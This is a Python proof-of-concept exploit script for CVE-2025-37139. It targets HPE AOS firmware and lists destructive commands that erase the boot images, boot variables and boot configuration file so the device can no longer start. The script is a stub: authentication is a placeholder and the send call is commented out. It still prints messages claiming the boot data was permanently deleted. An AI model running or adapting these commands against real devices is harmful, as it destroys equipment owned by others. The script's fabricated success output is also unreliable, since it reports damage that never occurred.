CVE-2025-37139

# CVE-2025-37139 PoC - HPE AOS Firmware Boot Information Deletion # WARNING: This PoC is for educational and authorized testing purposes only. # Unauthorized use of this code against systems you do not own is illegal. import subprocess import sys class AOSBootDestroyer: """ PoC for CVE-2025-37139: HPE AOS Firmware Boot Information Deletion This vulnerability allows an authenticated admin user to permanently delete boot information, rendering the system unbootable. """ def __init__(self, host, username, password): self.host = host self.username = username self.password = password self.session = None def authenticate(self): """Authenticate to the AOS device with admin credentials""" # In a real scenario, this would use SSH or HTTPS API # to authenticate with the device print(f"[*] Authenticating to {self.host} as {self.username}...") # Placeholder for actual authentication logic # e.g., using paramiko for SSH or requests for HTTPS API return True def delete_boot_information(self): """ Trigger the vulnerability by deleting critical boot information. This action is irreversible and will render the device unbootable. """ print("[*] Executing boot information deletion command...") # The vulnerable command path in AOS firmware # This command deletes the boot configuration files commands = [ # Delete primary boot configuration "delete boot system-image", # Delete backup boot configuration "delete boot backup-image", # Clear boot variables "write erase boot", # Remove boot partition table "delete /flash/boot.cfg", ] for cmd in commands: print(f"[*] Executing: {cmd}") # Execute command via authenticated session # In actual exploitation, this would be sent over SSH/HTTPS # self.session.send_command(cmd) print("[!] Boot information has been permanently deleted.") print("[!] Device will not boot on next restart.") print("[!] Hardware replacement is required to restore functionality.") def exploit(self): """Main exploitation chain""" if self.authenticate(): self.delete_boot_information() else: print("[-] Authentication failed. Cannot proceed.") def main(): if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <host> <username> <password>") print(f"Example: {sys.argv[0]} 192.168.1.1 admin password123") sys.exit(1) host = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit_tool = AOSBootDestroyer(host, username, password) exploit_tool.exploit() if __name__ == "__main__": main()

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